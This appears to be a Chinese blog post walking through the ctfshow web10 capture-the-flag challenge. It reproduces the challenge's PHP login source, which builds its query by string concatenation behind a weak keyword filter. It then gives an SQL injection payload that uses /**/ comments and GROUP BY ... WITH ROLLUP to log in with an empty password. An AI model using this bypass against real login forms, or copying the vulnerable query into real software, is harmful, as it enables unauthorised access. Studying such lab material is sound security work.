ctfshow-web10

web 10

话说,web9与web10界面很相似哎,我猜测,肯定又是再9的基础上又进行了一些骚操作。试着先找找源码吧。

访问index.phps下载源码。(点击取消按钮也可)

 1 <?php
 2         $flag="";
 3         function replaceSpecialChar($strParam){
 4              $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
 5              return preg_replace($regex,"",$strParam);
 6         }
 7         if (!$con)
 8         {
 9             die('Could not connect: ' . mysqli_error());
10         }
11         if(strlen($username)!=strlen(replaceSpecialChar($username))){
12             die("sql inject error");
13         }
14         if(strlen($password)!=strlen(replaceSpecialChar($password))){
15             die("sql inject error");
16         }
17         $sql="select * from user where username = '$username'";
18         $result=mysqli_query($con,$sql);
19             if(mysqli_num_rows($result)>0){
20                     while($row=mysqli_fetch_assoc($result)){
21                         if($password==$row['password']){
22                             echo "登陆成功<br>";
23                             echo $flag;
24                         }
25 
26                      }
27             }
28     ?>

果不其然,过滤了一些关键字。还有一些限制条件。有点棘手了。

看了大佬的文章,了解了一种新姿势。

介绍一下两个sql语句:

1. group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组

2.with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。

过滤空格的话用/**/进行绕过就行

pyload: admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/# 

在用户名框里输入这个,密码框里为空即可。因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']

这样就能登录成功了。即可获得flag

参考文章

web 10

 

posted @ 2021-02-07 14:13  AW_SOLE  阅读(1172)  评论(0)    收藏  举报